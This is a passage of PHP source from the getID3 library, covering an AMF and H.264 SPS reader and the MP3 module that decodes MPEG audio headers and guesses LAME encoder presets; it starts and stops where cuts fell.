$this->stream->readByte(); } return $data; } /** * @return array */ public function readMixedArray() { // Get highest numerical index - ignored $highestIndex = $this->stream->readLong(); $data = array(); $key = null; while ($key = $this->stream->readUTF()) { if (is_numeric($key)) { $key = (int) $key; } $data[$key] = $this->readData(); } // Mixed array record ends with empty string (0x00 0x00) and 0x09 if (($key == '') && ($this->stream->peekByte() == 0x09)) { // Consume byte $this->stream->readByte(); } return $data; } /** * @return array */ public function readArray() { $length = $this->stream->readLong(); $data = array(); for ($i = 0; $i < $length; $i++) { $data[] = $this->readData(); } return $data; } /** * @return float|false */ public function readDate() { $timestamp = $this->stream->readDouble(); $timezone = $this->stream->readInt(); return $timestamp; } /** * @return string */ public function readLongString() { return $this->stream->readLongUTF(); } /** * @return string */ public function readXML() { return $this->stream->readLongUTF(); } /** * @return array */ public function readTypedObject() { $className = $this->stream->readUTF(); return $this->readObject(); } } class AVCSequenceParameterSetReader { /** * @var string */ public $sps; public $start = 0; public $currentBytes = 0; public $currentBits = 0; /** * @var int */ public $width; /** * @var int */ public $height; /** * @param string $sps */ public function __construct($sps) { $this->sps = $sps; } public function readData() { $this->skipBits(8); $this->skipBits(8); $profile = $this->getBits(8); // read profile if ($profile > 0) { $this->skipBits(8); $level_idc = $this->getBits(8); // level_idc $this->expGolombUe(); // seq_parameter_set_id // sps $this->expGolombUe(); // log2_max_frame_num_minus4 $picOrderType = $this->expGolombUe(); // pic_order_cnt_type if ($picOrderType == 0) { $this->expGolombUe(); // log2_max_pic_order_cnt_lsb_minus4 } elseif ($picOrderType == 1) { $this->skipBits(1); // delta_pic_order_always_zero_flag $this->expGolombSe(); // offset_for_non_ref_pic $this->expGolombSe(); // offset_for_top_to_bottom_field $num_ref_frames_in_pic_order_cnt_cycle = $this->expGolombUe(); // num_ref_frames_in_pic_order_cnt_cycle for ($i = 0; $i < $num_ref_frames_in_pic_order_cnt_cycle; $i++) { $this->expGolombSe(); // offset_for_ref_frame[ i ] } } $this->expGolombUe(); // num_ref_frames $this->skipBits(1); // gaps_in_frame_num_value_allowed_flag $pic_width_in_mbs_minus1 = $this->expGolombUe(); // pic_width_in_mbs_minus1 $pic_height_in_map_units_minus1 = $this->expGolombUe(); // pic_height_in_map_units_minus1 $frame_mbs_only_flag = $this->getBits(1); // frame_mbs_only_flag if ($frame_mbs_only_flag == 0) { $this->skipBits(1); // mb_adaptive_frame_field_flag } $this->skipBits(1); // direct_8x8_inference_flag $frame_cropping_flag = $this->getBits(1); // frame_cropping_flag $frame_crop_left_offset = 0; $frame_crop_right_offset = 0; $frame_crop_top_offset = 0; $frame_crop_bottom_offset = 0; if ($frame_cropping_flag) { $frame_crop_left_offset = $this->expGolombUe(); // frame_crop_left_offset $frame_crop_right_offset = $this->expGolombUe(); // frame_crop_right_offset $frame_crop_top_offset = $this->expGolombUe(); // frame_crop_top_offset $frame_crop_bottom_offset = $this->expGolombUe(); // frame_crop_bottom_offset } $this->skipBits(1); // vui_parameters_present_flag // etc $this->width = (($pic_width_in_mbs_minus1 + 1) * 16) - ($frame_crop_left_offset * 2) - ($frame_crop_right_offset * 2); $this->height = ((2 - $frame_mbs_only_flag) * ($pic_height_in_map_units_minus1 + 1) * 16) - ($frame_crop_top_offset * 2) - ($frame_crop_bottom_offset * 2); } } /** * @param int $bits */ public function skipBits($bits) { $newBits = $this->currentBits + $bits; $this->currentBytes += (int)floor($newBits / 8); $this->currentBits = $newBits % 8; } /** * @return int */ public function getBit() { $result = (getid3_lib::BigEndian2Int(substr($this->sps, $this->currentBytes, 1)) >> (7 - $this->currentBits)) & 0x01; $this->skipBits(1); return $result; } /** * @param int $bits * * @return int */ public function getBits($bits) { $result = 0; for ($i = 0; $i < $bits; $i++) { $result = ($result << 1) + $this->getBit(); } return $result; } /** * @return int */ public function expGolombUe() { $significantBits = 0; $bit = $this->getBit(); while ($bit == 0) { $significantBits++; $bit = $this->getBit(); if ($significantBits > 31) { // something is broken, this is an emergency escape to prevent infinite loops return 0; } } return (1 << $significantBits) + $this->getBits($significantBits) - 1; } /** * @return int */ public function expGolombSe() { $result = $this->expGolombUe(); if (($result & 0x01) == 0) { return -($result >> 1); } else { return ($result + 1) >> 1; } } /** * @return int */ public function getWidth() { return $this->width; } /** * @return int */ public function getHeight() { return $this->height; } } PKm"[ĥXfmodule.audio.mp3.phpnu[ // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio.mp3.php // // module for analyzing MP3 files // // dependencies: NONE // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } class getid3_mp3 extends getid3_handler { /** * Forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow, * unrecommended, but may provide data from otherwise-unusable files. * * @var bool */ public $allow_bruteforce = false; /** * number of frames to scan to determine if MPEG-audio sequence is valid * Lower this number to 5-20 for faster scanning * Increase this number to 50+ for most accurate detection of valid VBR/CBR mpeg-audio streams * * @var int */ public $mp3_valid_check_frames = 50; /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; $initialOffset = $info['avdataoffset']; if (!$this->getOnlyMPEGaudioInfo($info['avdataoffset'])) { if ($this->allow_bruteforce) { $this->error('Rescanning file in BruteForce mode'); $this->getOnlyMPEGaudioInfoBruteForce(); } } if (isset($info['mpeg']['audio']['bitrate_mode'])) { $info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']); } $CurrentDataLAMEversionString = null; if (((isset($info['id3v2']['headerlength']) && ($info['avdataoffset'] > $info['id3v2']['headerlength'])) || (!isset($info['id3v2']) && ($info['avdataoffset'] > 0) && ($info['avdataoffset'] != $initialOffset)))) { $synchoffsetwarning = 'Unknown data before synch '; if (isset($info['id3v2']['headerlength'])) { $synchoffsetwarning .= '(ID3v2 header ends at '.$info['id3v2']['headerlength'].', then '.($info['avdataoffset'] - $info['id3v2']['headerlength']).' bytes garbage, '; } elseif ($initialOffset > 0) { $synchoffsetwarning .= '(should be at '.$initialOffset.', '; } else { $synchoffsetwarning .= '(should be at beginning of file, '; } $synchoffsetwarning .= 'synch detected at '.$info['avdataoffset'].')'; if (isset($info['audio']['bitrate_mode']) && ($info['audio']['bitrate_mode'] == 'cbr')) { if (!empty($info['id3v2']['headerlength']) && (($info['avdataoffset'] - $info['id3v2']['headerlength']) == $info['mpeg']['audio']['framelength'])) { $synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90-3.92) DLL in CBR mode.'; $info['audio']['codec'] = 'LAME'; $CurrentDataLAMEversionString = 'LAME3.'; } elseif (empty($info['id3v2']['headerlength']) && ($info['avdataoffset'] == $info['mpeg']['audio']['framelength'])) { $synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90 - 3.92) DLL in CBR mode.'; $info['audio']['codec'] = 'LAME'; $CurrentDataLAMEversionString = 'LAME3.'; } } $this->warning($synchoffsetwarning); } if (isset($info['mpeg']['audio']['LAME'])) { $info['audio']['codec'] = 'LAME'; if (!empty($info['mpeg']['audio']['LAME']['long_version'])) { $info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['long_version'], "\x00"); } elseif (!empty($info['mpeg']['audio']['LAME']['short_version'])) { $info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['short_version'], "\x00"); } } $CurrentDataLAMEversionString = (!empty($CurrentDataLAMEversionString) ? $CurrentDataLAMEversionString : (isset($info['audio']['encoder']) ? $info['audio']['encoder'] : '')); if (!empty($CurrentDataLAMEversionString) && (substr($CurrentDataLAMEversionString, 0, 6) == 'LAME3.') && !preg_match('[0-9\)]', substr($CurrentDataLAMEversionString, -1))) { // a version number of LAME that does not end with a number like "LAME3.92" // or with a closing parenthesis like "LAME3.88 (alpha)" // or a version of LAME with the LAMEtag-not-filled-in-DLL-mode bug (3.90-3.92) // not sure what the actual last frame length will be, but will be less than or equal to 1441 $PossiblyLongerLAMEversion_FrameLength = 1441; // Not sure what version of LAME this is - look in padding of last frame for longer version string $PossibleLAMEversionStringOffset = $info['avdataend'] - $PossiblyLongerLAMEversion_FrameLength; $this->fseek($PossibleLAMEversionStringOffset); $PossiblyLongerLAMEversion_Data = $this->fread($PossiblyLongerLAMEversion_FrameLength); switch (substr($CurrentDataLAMEversionString, -1)) { case 'a': case 'b': // "LAME3.94a" will have a longer version string of "LAME3.94 (alpha)" for example // need to trim off "a" to match longer string $CurrentDataLAMEversionString = substr($CurrentDataLAMEversionString, 0, -1); break; } if (($PossiblyLongerLAMEversion_String = strstr($PossiblyLongerLAMEversion_Data, $CurrentDataLAMEversionString)) !== false) { if (substr($PossiblyLongerLAMEversion_String, 0, strlen($CurrentDataLAMEversionString)) == $CurrentDataLAMEversionString) { $PossiblyLongerLAMEversion_NewString = substr($PossiblyLongerLAMEversion_String, 0, strspn($PossiblyLongerLAMEversion_String, 'LAME0123456789., (abcdefghijklmnopqrstuvwxyzJFSOND)')); //"LAME3.90.3" "LAME3.87 (beta 1, Sep 27 2000)" "LAME3.88 (beta)" if (empty($info['audio']['encoder']) || (strlen($PossiblyLongerLAMEversion_NewString) > strlen($info['audio']['encoder']))) { if (!empty($info['audio']['encoder']) && !empty($info['mpeg']['audio']['LAME']['short_version']) && ($info['audio']['encoder'] == $info['mpeg']['audio']['LAME']['short_version'])) { if (preg_match('#^LAME[0-9\\.]+#', $PossiblyLongerLAMEversion_NewString, $matches)) { // "LAME3.100" -> "LAME3.100.1", but avoid including "(alpha)" and similar $info['mpeg']['audio']['LAME']['short_version'] = $matches[0]; } } $info['audio']['encoder'] = $PossiblyLongerLAMEversion_NewString; } } } } if (!empty($info['audio']['encoder'])) { $info['audio']['encoder'] = rtrim($info['audio']['encoder'], "\x00 "); } switch (isset($info['mpeg']['audio']['layer']) ? $info['mpeg']['audio']['layer'] : '') { case 1: case 2: $info['audio']['dataformat'] = 'mp'.$info['mpeg']['audio']['layer']; break; } if (isset($info['fileformat']) && ($info['fileformat'] == 'mp3')) { switch ($info['audio']['dataformat']) { case 'mp1': case 'mp2': case 'mp3': $info['fileformat'] = $info['audio']['dataformat']; break; default: $this->warning('Expecting [audio][dataformat] to be mp1/mp2/mp3 when fileformat == mp3, [audio][dataformat] actually "'.$info['audio']['dataformat'].'"'); break; } } if (empty($info['fileformat'])) { unset($info['fileformat']); unset($info['audio']['bitrate_mode']); unset($info['avdataoffset']); unset($info['avdataend']); return false; } $info['mime_type'] = 'audio/mpeg'; $info['audio']['lossless'] = false; // Calculate playtime if (!isset($info['playtime_seconds']) && isset($info['audio']['bitrate']) && ($info['audio']['bitrate'] > 0)) { // https://github.com/JamesHeinrich/getID3/issues/161 // VBR header frame contains ~0.026s of silent audio data, but is not actually part of the original encoding and should be ignored $xingVBRheaderFrameLength = ((isset($info['mpeg']['audio']['VBR_frames']) && isset($info['mpeg']['audio']['framelength'])) ? $info['mpeg']['audio']['framelength'] : 0); $info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset'] - $xingVBRheaderFrameLength) * 8 / $info['audio']['bitrate']; } $info['audio']['encoder_options'] = $this->GuessEncoderOptions(); return true; } /** * @return string */ public function GuessEncoderOptions() { // shortcuts $info = &$this->getid3->info; $thisfile_mpeg_audio = array(); $thisfile_mpeg_audio_lame = array(); if (!empty($info['mpeg']['audio'])) { $thisfile_mpeg_audio = &$info['mpeg']['audio']; if (!empty($thisfile_mpeg_audio['LAME'])) { $thisfile_mpeg_audio_lame = &$thisfile_mpeg_audio['LAME']; } } $encoder_options = ''; static $NamedPresetBitrates = array(16, 24, 40, 56, 112, 128, 160, 192, 256); if (isset($thisfile_mpeg_audio['VBR_method']) && ($thisfile_mpeg_audio['VBR_method'] == 'Fraunhofer') && !empty($thisfile_mpeg_audio['VBR_quality'])) { $encoder_options = 'VBR q'.$thisfile_mpeg_audio['VBR_quality']; } elseif (!empty($thisfile_mpeg_audio_lame['preset_used']) && isset($thisfile_mpeg_audio_lame['preset_used_id']) && (!in_array($thisfile_mpeg_audio_lame['preset_used_id'], $NamedPresetBitrates))) { $encoder_options = $thisfile_mpeg_audio_lame['preset_used']; } elseif (!empty($thisfile_mpeg_audio_lame['vbr_quality'])) { static $KnownEncoderValues = array(); if (empty($KnownEncoderValues)) { //$KnownEncoderValues[abrbitrate_minbitrate][vbr_quality][raw_vbr_method][raw_noise_shaping][raw_stereo_mode][ath_type][lowpass_frequency] = 'preset name'; $KnownEncoderValues[0xFF][58][1][1][3][2][20500] = '--alt-preset insane'; // 3.90, 3.90.1, 3.92 $KnownEncoderValues[0xFF][58][1][1][3][2][20600] = '--alt-preset insane'; // 3.90.2, 3.90.3, 3.91 $KnownEncoderValues[0xFF][57][1][1][3][4][20500] = '--alt-preset insane'; // 3.94, 3.95 $KnownEncoderValues['**'][78][3][2][3][2][19500] = '--alt-preset extreme'; // 3.90, 3.90.1, 3.92 $KnownEncoderValues['**'][78][3][2][3][2][19600] = '--alt-preset extreme'; // 3.90.2, 3.91 $KnownEncoderValues['**'][78][3][1][3][2][19600] = '--alt-preset extreme'; // 3.90.3 $KnownEncoderValues['**'][78][4][2][3][2][19500] = '--alt-preset fast extreme'; // 3.90, 3.90.1, 3.92 $KnownEncoderValues['**'][78][4][2][3][2][19600] = '--alt-preset fast extreme'; // 3.90.2, 3.90.3, 3.91 $KnownEncoderValues['**'][78][3][2][3][4][19000] = '--alt-preset standard'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $KnownEncoderValues['**'][78][3][1][3][4][19000] = '--alt-preset standard'; // 3.90.3 $KnownEncoderValues['**'][78][4][2][3][4][19000] = '--alt-preset fast standard'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $KnownEncoderValues['**'][78][4][1][3][4][19000] = '--alt-preset fast standard'; // 3.90.3 $KnownEncoderValues['**'][88][4][1][3][3][19500] = '--r3mix'; // 3.90, 3.90.1, 3.92 $KnownEncoderValues['**'][88][4][1][3][3][19600] = '--r3mix'; // 3.90.2, 3.90.3, 3.91 $KnownEncoderValues['**'][67][4][1][3][4][18000] = '--r3mix'; // 3.94, 3.95 $KnownEncoderValues['**'][68][3][2][3][4][18000] = '--alt-preset medium'; // 3.90.3 $KnownEncoderValues['**'][68][4][2][3][4][18000] = '--alt-preset fast medium'; // 3.90.3 $KnownEncoderValues[0xFF][99][1][1][1][2][0] = '--preset studio'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $KnownEncoderValues[0xFF][58][2][1][3][2][20600] = '--preset studio'; // 3.90.3, 3.93.1 $KnownEncoderValues[0xFF][58][2][1][3][2][20500] = '--preset studio'; // 3.93 $KnownEncoderValues[0xFF][57][2][1][3][4][20500] = '--preset studio'; // 3.94, 3.95 $KnownEncoderValues[0xC0][88][1][1][1][2][0] = '--preset cd'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $KnownEncoderValues[0xC0][58][2][2][3][2][19600] = '--preset cd'; // 3.90.3, 3.93.1 $KnownEncoderValues[0xC0][58][2][2][3][2][19500] = '--preset cd'; // 3.93 $KnownEncoderValues[0xC0][57][2][1][3][4][19500] = '--preset cd'; // 3.94, 3.95 $KnownEncoderValues[0xA0][78][1][1][3][2][18000] = '--preset hifi'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $KnownEncoderValues[0xA0][58][2][2][3][2][18000] = '--preset hifi'; // 3.90.3, 3.93, 3.93.1 $KnownEncoderValues[0xA0][57][2][1][3][4][18000] = '--preset hifi'; // 3.94, 3.95 $KnownEncoderValues[0x80][67][1][1][3][2][18000] = '--preset tape'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $KnownEncoderValues[0x80][67][1][1][3][2][15000] = '--preset radio'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $KnownEncoderValues[0x70][67][1][1][3][2][15000] = '--preset fm'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 $KnownEncoderValues[0x70][58][2][2][3][2][16000] = '--preset tape/radio/fm'; // 3.90.3, 3.93, 3.93.1 $KnownEncoderValues[0x70][57][2][1][3][4][16000] = '--preset tape/radio/fm'; // 3.94, 3.95 $KnownEncoderValues[0x38][58][2][2][0][2][10000] = '--preset voice'; // 3.90.3, 3.93, 3.93.1 $KnownEncoderValues[0x38][57][2][1][0][4][15000] = '--preset voice'; // 3.94, 3.95 $KnownEncoderValues[0x38][57][2][1][0][4][16000] = '--preset voice'; // 3.94a14 $KnownEncoderValues[0x28][65][1][1][0][2][7500] = '--preset mw-us'; // 3.90, 3.90.1, 3.92 $KnownEncoderValues[0x28][65][1][1][0][2][7600] = '--preset mw-us'; // 3.90.2, 3.91 $KnownEncoderValues[0x28][58][2][2][0][2][7000] = '--preset mw-us'; // 3.90.3, 3.93, 3.93.1 $KnownEncoderValues[0x28][57][2][1][0][4][10500] = '--preset mw-us'; // 3.94, 3.95 $KnownEncoderValues[0x28][57][2][1][0][4][11200] = '--preset mw-us'; // 3.94a14 $KnownEncoderValues[0x28][57][2][1][0][4][8800] = '--preset mw-us'; // 3.94a15 $KnownEncoderValues[0x18][58][2][2][0][2][4000] = '--preset phon+/lw/mw-eu/sw'; // 3.90.3, 3.93.1 $KnownEncoderValues[0x18][58][2][2][0][2][3900] = '--preset phon+/lw/mw-eu/sw'; // 3.93 $KnownEncoderValues[0x18][57][2][1][0][4][5900] = '--preset phon+/lw/mw-eu/sw'; // 3.94, 3.95 $KnownEncoderValues[0x18][57][2][1][0][4][6200] = '--preset phon+/lw/mw-eu/sw'; // 3.94a14 $KnownEncoderValues[0x18][57][2][1][0][4][3200] = '--preset phon+/lw/mw-eu/sw'; // 3.94a15 $KnownEncoderValues[0x10][58][2][2][0][2][3800] = '--preset phone'; // 3.90.3, 3.93.1 $KnownEncoderValues[0x10][58][2][2][0][2][3700] = '--preset phone'; // 3.93 $KnownEncoderValues[0x10][57][2][1][0][4][5600] = '--preset phone'; // 3.94, 3.95 } if (isset($KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) { $encoder_options = $KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']]; } elseif (isset($KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) { $encoder_options = $KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']]; } elseif ($info['audio']['bitrate_mode'] == 'vbr') { // http://gabriel.mp3-tech.org/mp3infotag.html // int Quality = (100 - 10 * gfp->VBR_q - gfp->quality)h $LAME_V_value = 10 - ceil($thisfile_mpeg_audio_lame['vbr_quality'] / 10); $LAME_q_value = 100 - $thisfile_mpeg_audio_lame['vbr_quality'] - ($LAME_V_value * 10); $encoder_options = '-V'.$LAME_V_value.' -q'.$LAME_q_value; } elseif ($info['audio']['bitrate_mode'] == 'cbr') { $encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000); } else { $encoder_options = strtoupper($info['audio']['bitrate_mode']); } } elseif (!empty($thisfile_mpeg_audio_lame['bitrate_abr'])) { $encoder_options = 'ABR'.$thisfile_mpeg_audio_lame['bitrate_abr']; } elseif (!empty($info['audio']['bitrate'])) { if ($info['audio']['bitrate_mode'] == 'cbr') { $encoder_options = strtoupper($info['audio']['bitrate_mode']).round($info['audio']['bitrate'] / 1000); } else { $encoder_options = strtoupper($info['audio']['bitrate_mode']); } } if (!empty($thisfile_mpeg_audio_lame['bitrate_min'])) { $encoder_options .= ' -b'.$thisfile_mpeg_audio_lame['bitrate_min']; } if (isset($thisfile_mpeg_audio['bitrate']) && $thisfile_mpeg_audio['bitrate'] === 'free') { $encoder_options .= ' --freeformat'; } if (!empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev']) || !empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_next'])) { $encoder_options .= ' --nogap'; } if (!empty($thisfile_mpeg_audio_lame['lowpass_frequency'])) { $ExplodedOptions = explode(' ', $encoder_options, 4); if ($ExplodedOptions[0] == '--r3mix') { $ExplodedOptions[1] = 'r3mix'; } switch ($ExplodedOptions[0]) { case '--preset': case '--alt-preset': case '--r3mix': if ($ExplodedOptions[1] == 'fast') { $ExplodedOptions[1] .= ' '.$ExplodedOptions[2]; } switch ($ExplodedOptions[1]) { case 'portable': case 'medium': case 'standard': case 'extreme': case 'insane': case 'fast portable': case 'fast medium': case 'fast standard': case 'fast extreme': case 'fast insane': case 'r3mix': static $ExpectedLowpass = array( 'insane|20500' => 20500, 'insane|20600' => 20600, // 3.90.2, 3.90.3, 3.91 'medium|18000' => 18000, 'fast medium|18000' => 18000, 'extreme|19500' => 19500, // 3.90, 3.90.1, 3.92, 3.95 'extreme|19600' => 19600, // 3.90.2, 3.90.3, 3.91, 3.93.1 'fast extreme|19500' => 19500, // 3.90, 3.90.1, 3.92, 3.95 'fast extreme|19600' => 19600, // 3.90.2, 3.90.3, 3.91, 3.93.1 'standard|19000' => 19000, 'fast standard|19000' => 19000, 'r3mix|19500' => 19500, // 3.90, 3.90.1, 3.92 'r3mix|19600' => 19600, // 3.90.2, 3.90.3, 3.91 'r3mix|18000' => 18000, // 3.94, 3.95 ); if (!isset($ExpectedLowpass[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio_lame['lowpass_frequency']]) && ($thisfile_mpeg_audio_lame['lowpass_frequency'] < 22050) && (round($thisfile_mpeg_audio_lame['lowpass_frequency'] / 1000) < round($thisfile_mpeg_audio['sample_rate'] / 2000))) { $encoder_options .= ' --lowpass '.$thisfile_mpeg_audio_lame['lowpass_frequency']; } break; default: break; } break; } } if (isset($thisfile_mpeg_audio_lame['raw']['source_sample_freq'])) { if (($thisfile_mpeg_audio['sample_rate'] == 44100) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 1)) { $encoder_options .= ' --resample 44100'; } elseif (($thisfile_mpeg_audio['sample_rate'] == 48000) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 2)) { $encoder_options .= ' --resample 48000'; } elseif ($thisfile_mpeg_audio['sample_rate'] < 44100) { switch ($thisfile_mpeg_audio_lame['raw']['source_sample_freq']) { case 0: // <= 32000 // may or may not be same as source frequency - ignore break; case 1: // 44100 case 2: // 48000 case 3: // 48000+ $ExplodedOptions = explode(' ', $encoder_options, 4); switch ($ExplodedOptions[0]) { case '--preset': case '--alt-preset': switch ($ExplodedOptions[1]) { case 'fast': case 'portable': case 'medium': case 'standard': case 'extreme': case 'insane': $encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate']; break; default: static $ExpectedResampledRate = array( 'phon+/lw/mw-eu/sw|16000' => 16000, 'mw-us|24000' => 24000, // 3.95 'mw-us|32000' => 32000, // 3.93 'mw-us|16000' => 16000, // 3.92 'phone|16000' => 16000, 'phone|11025' => 11025, // 3.94a15 'radio|32000' => 32000, // 3.94a15 'fm/radio|32000' => 32000, // 3.92 'fm|32000' => 32000, // 3.90 'voice|32000' => 32000); if (!isset($ExpectedResampledRate[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio['sample_rate']])) { $encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate']; } break; } break; case '--r3mix': default: $encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate']; break; } break; } } } if (empty($encoder_options) && !empty($info['audio']['bitrate']) && !empty($info['audio']['bitrate_mode'])) { //$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000); $encoder_options = strtoupper($info['audio']['bitrate_mode']); } return $encoder_options; } /** * @param int $offset * @param array $info * @param bool $recursivesearch * @param bool $ScanAsCBR * @param bool $FastMPEGheaderScan * * @return bool */ public function decodeMPEGaudioHeader($offset, &$info, $recursivesearch=true, $ScanAsCBR=false, $FastMPEGheaderScan=false) { static $MPEGaudioVersionLookup; static $MPEGaudioLayerLookup; static $MPEGaudioBitrateLookup; static $MPEGaudioFrequencyLookup; static $MPEGaudioChannelModeLookup; static $MPEGaudioModeExtensionLookup; static $MPEGaudioEmphasisLookup; if (empty($MPEGaudioVersionLookup)) { $MPEGaudioVersionLookup = self::MPEGaudioVersionArray(); $MPEGaudioLayerLookup = self::MPEGaudioLayerArray(); $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray(); $MPEGaudioFrequencyLookup = self::MPEGaudioFrequencyArray(); $MPEGaudioChannelModeLookup = self::MPEGaudioChannelModeArray(); $MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray(); $MPEGaudioEmphasisLookup = self::MPEGaudioEmphasisArray(); } if ($this->fseek($offset) != 0) { $this->error('decodeMPEGaudioHeader() failed to seek to next offset at '.$offset); return false; } //$headerstring = $this->fread(1441); // worst-case max length = 32kHz @ 320kbps layer 3 = 1441 bytes/frame $headerstring = $this->fread(226); // LAME header at offset 36 + 190 bytes of Xing/LAME data // MP3 audio frame structure: // $aa $aa $aa $aa [$bb $bb] $cc... // where $aa..$aa is the four-byte mpeg-audio header (below) // $bb $bb is the optional 2-byte CRC // and $cc... is the audio data $head4 = substr($headerstring, 0, 4); $head4_key = getid3_lib::PrintHexBytes($head4, true, false, false); static $MPEGaudioHeaderDecodeCache = array(); if (isset($MPEGaudioHeaderDecodeCache[$head4_key])) { $MPEGheaderRawArray = $MPEGaudioHeaderDecodeCache[$head4_key]; } else { $MPEGheaderRawArray = self::MPEGaudioHeaderDecode($head4); $MPEGaudioHeaderDecodeCache[$head4_key] = $MPEGheaderRawArray; } static $MPEGaudioHeaderValidCache = array(); if (!isset($MPEGaudioHeaderValidCache[$head4_key])) { // Not in cache //$MPEGaudioHeaderValidCache[$head4_key] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, true); // allow badly-formatted freeformat (from LAME 3.90 - 3.93.1) $MPEGaudioHeaderValidCache[$head4_key] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, false); } // shortcut if (!isset($info['mpeg']['audio'])) { $info['mpeg']['audio'] = array(); } $thisfile_mpeg_audio = &$info['mpeg']['audio']; if ($MPEGaudioHeaderValidCache[$head4_key]) { $thisfile_mpeg_audio['raw'] = $MPEGheaderRawArray; } else { $this->warning('Invalid MPEG audio header ('.getid3_lib::PrintHexBytes($head4).') at offset '.$offset); return false; } if (!$FastMPEGheaderScan) { $thisfile_mpeg_audio['version'] = $MPEGaudioVersionLookup[$thisfile_mpeg_audio['raw']['version']]; $thisfile_mpeg_audio['layer'] = $MPEGaudioLayerLookup[$thisfile_mpeg_audio['raw']['layer']]; $thisfile_mpeg_audio['channelmode'] = $MPEGaudioChannelModeLookup[$thisfile_mpeg_audio['raw']['channelmode']]; $thisfile_mpeg_audio['channels'] = (($thisfile_mpeg_audio['channelmode'] == 'mono') ? 1 : 2); $thisfile_mpeg_audio['sample_rate'] = $MPEGaudioFrequencyLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['raw']['sample_rate']]; $thisfile_mpeg_audio['protection'] = !$thisfile_mpeg_audio['raw']['protection']; $thisfile_mpeg_audio['private'] = (bool) $thisfile_mpeg_audio['raw']['private']; $thisfile_mpeg_audio['modeextension'] = $MPEGaudioModeExtensionLookup[$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['modeextension']]; $thisfile_mpeg_audio['copyright'] = (bool) $thisfile_mpeg_audio['raw']['copyright']; $thisfile_mpeg_audio['original'] = (bool) $thisfile_mpeg_audio['raw']['original']; $thisfile_mpeg_audio['emphasis'] = $MPEGaudioEmphasisLookup[$thisfile_mpeg_audio['raw']['emphasis']]; $info['audio']['channels'] = $thisfile_mpeg_audio['channels']; $info['audio']['sample_rate'] = $thisfile_mpeg_audio['sample_rate']; if ($thisfile_mpeg_audio['protection']) { $thisfile_mpeg_audio['crc'] = getid3_lib::BigEndian2Int(substr($headerstring, 4, 2)); } } if ($thisfile_mpeg_audio['raw']['bitrate'] == 15) { // http://www.hydrogenaudio.org/?act=ST&f=16&t=9682&st=0 $this->warning('Invalid bitrate index (15), this is a known bug in free-format MP3s encoded by LAME v3.90 - 3.93.1'); $thisfile_mpeg_audio['raw']['bitrate'] = 0; } $thisfile_mpeg_audio['padding'] = (bool) $thisfile_mpeg_audio['raw']['padding']; $thisfile_mpeg_audio['bitrate'] = $MPEGaudioBitrateLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['bitrate']]; if (($thisfile_mpeg_audio['bitrate'] == 'free') && ($offset == $info['avdataoffset'])) { // only skip multiple frame check if free-format bitstream found at beginning of file // otherwise is quite possibly 